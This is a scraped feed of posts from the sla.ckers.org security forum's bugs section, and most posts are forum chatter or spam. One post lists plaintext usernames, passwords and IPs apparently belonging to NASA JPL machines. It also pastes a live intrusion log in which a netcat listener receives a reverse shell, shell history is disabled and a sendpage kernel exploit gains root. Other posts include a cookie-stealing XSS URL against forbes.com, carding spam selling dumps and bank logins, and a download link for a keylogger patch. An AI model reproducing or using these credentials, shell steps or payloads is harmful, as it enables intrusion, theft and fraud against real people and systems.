Quantcast
Channel: Web Application Security Forum - Bugs
Viewing all 37 articles
Browse latest View live

Re: Shelling vBulletin All Versions


Bugs in the current version of sla.ckers.org

$
0
0
Hey guys, the settings should be identical from the last install we had, so theoretically there should be no new bugs, but I know at least one existed (Thanks to Gareth Heyes for pointing it out). I disabled smilies and auto-linking which appears to have fixed that problem and coincidentally makes the board less annoying, so it's a win win. Let me know if you guys see any other issues pop up.

Re: Bugs in the current version of sla.ckers.org

$
0
0
I think the () after 'posted by' are new. As is the 'print view' option at the top of threads. On a vaguely related note, the bug I mentioned to you a while ago is still present.

Re: Bugs in the current version of sla.ckers.org

$
0
0
Hello,
I am new in this forum please guide me
Thanks

"Phishing" with Google.com - creating realistic fake webpages

Dumps..>Bank Login..>PayPal..>Fullz..>Bank Transfer..>Ccv..>Shopping.

$
0
0
I spammed sla.ckers. please spam back:

-----------------Contact------------
ICQ: 623054150
Y!m: pun.hunk
Yahoomail : pun.hunk@yahoo.com

Re: ESET NOD32 Taiwan SQLi

Re: ESET NOD32 Taiwan SQLi


Re: N.A.S.A Again?

$
0
0
########
1.xfer@128.149.33.110[*z$SYu$O4)](xfer:xuyun123)(gspreen:tsmmih67%)(mmiller:d86iane#)(schodlok:Df=Im*Ac)(cboening:kGQfsw2F_78) - Linux skylla.jpl.nasa.gov 2.6.18-194.11.1.el5 #1 SMP Tue Jul 27 05:45:06 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux
`.schodlok@128.149.33.206[HL*1PFXt4Y](schodlok:Df-=Im*Ac) - Linux ikarus.jpl.nasa.gov 2.6.18-194.11.1.el5 #1 SMP Tue Jul 27 05:45:06 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux
`.hbrix@128.149.33.23[5-kXC1%k/4](hbrix:ALT54ti3 ou MAE98dl.)(ilt:Hsiao$5T) - Linux nireas.jpl.nasa.gov 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:39 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux
`.hzhang@128.149.33.21[ztsvU-Hrp](hzhang:hjshong7051 ou NAOnao!s)K!) - Linux glafkos.jpl.nasa.gov 2.6.9-78.0.1.ELsmp #1 SMP Tue Jul 22 18:11:48 EDT 2008 i686 i686 i386 GNU/Linux
`.kstewart@128.149.134.43[](kstewart:Pookie07252009) - Linux cosmos 2.6.9-42.0.2.EL_SFS2.2_1smp #1 SMP Fri Jun 26 15:25:31 PDT 2009 i686 i686 i386 GNU/Linux
###################################################################################################

Linux mandalay.arc.nasa.gov 2.6.9-67.0.7.ELsmp #1 SMP Wed Feb 27 04:47:23 EST 2008 x86_64 x86_64 x86_64 GNU/Linux


root@spiceware:~# nc -l -vv -p 21
listening on [any] 21 ...
connect to [xxx.x.xxx.xxx] from mandalay.arc.nasa.gov [128.102.148.79] 59738
bash -i
bash: no job control in this shell
bash-3.00$ export HISTFILE=/dev/null
bash-3.00$ uname -a;id;w
Linux mandalay.arc.nasa.gov 2.6.9-67.0.7.ELsmp #1 SMP Wed Feb 27 04:47:23 EST 2008 x86_64 x86_64 x86_64 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache)
07:38:36 up 28 days, 14:37, 3 users, load average: 0.95, 0.75, 0.42
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/1 world.arc.nasa.g 20Jan11 2days 0.04s 0.04s -bash
root pts/2 world.arc.nasa.g 31Jan11 17days 0.05s 0.05s -bash
root pts/3 world.arc.nasa.g 01Feb11 16days 0.03s 0.03s -bash
bash-3.00$


bash-3.00$ cat /etc/issue

WARNING! This is a US Government computer. This system is for
the use of authorized users only. By accessing and using the
computer system you are consenting to system monitoring,
including the monitoring of keystrokes. Unauthorized use of, or
access to, this computer system may subject you to disciplinary
action and criminal prosecution.

bash-3.00$


cd /
chown -R root:root bin
chmod -R 755 bin
ai aparece.
(13:54) : bash-3.00$ ./run
socket: Address family not supported by protocol
socket: Address family not supported by protocol
socket: Address family not supported by protocol
socket: Address family not supported by protocol
socket: Socket type not supported
socket: Address family not supported by protocol
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00# su
bash -i
bash: no job control in this shell
[root@mandalay linux-sendpage3]# export HISTFILE=/dev/null
[root@mandalay linux-sendpage3]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@mandalay linux-sendpage3]#
sendpage

forbes [XSS]

$
0
0
http://search.forbes.com/search/colArchiveSearch?author="><script>alert(document.cookie)</script>

Volume Patch for SpyCobra

$
0
0
There is a problem in some SpyCobra keylogger software that after install any time you press a key the windows emits a beep.

I have reported several times but without luck even with a new copy so i build this Volume Patch.

Works on XP/Vista/7/8
Also tested in Server 2003/2008

Download:
http://www.putlocker.com/file/476D7772611930F1

Virustotal:
https://www.virustotal.com/en/file/91065d7e14735aadfa04a99a151299d83c65aed5bd46bfec42d990186ce5d154/analysis/1387358935/

Re: Volume Patch for SpyCobra

Symfony 2.4 Security

$
0
0
Guys you have any experience with symfony 2.4 any security vulnerabilities you are fimiliar with, what to be carefull about?

Regards

Re: xss & dt & frameinj @ ibm

Re: Shelling vBulletin All Versions

$
0
0
I think the () after 'posted by' are new. As is the 'print view' option at the top of threads. On a vaguely related note, the bug I mentioned to you a while ago is still present.

Re: Shelling vBulletin All Versions

$
0
0
Thanks for sharing infomation abour that

Re: FYI: This area is for bugs with _this_ site

$
0
0
I really don't see this as a security issue in TinyURL but rather stupid people posting sensitive info online. Just because Google may index a sensitive page containing some database Pass4sure comptia network+
dump file with passwords does not mean Google has bad security. Just my 2 cents.
Viewing all 37 articles
Browse latest View live




Latest Images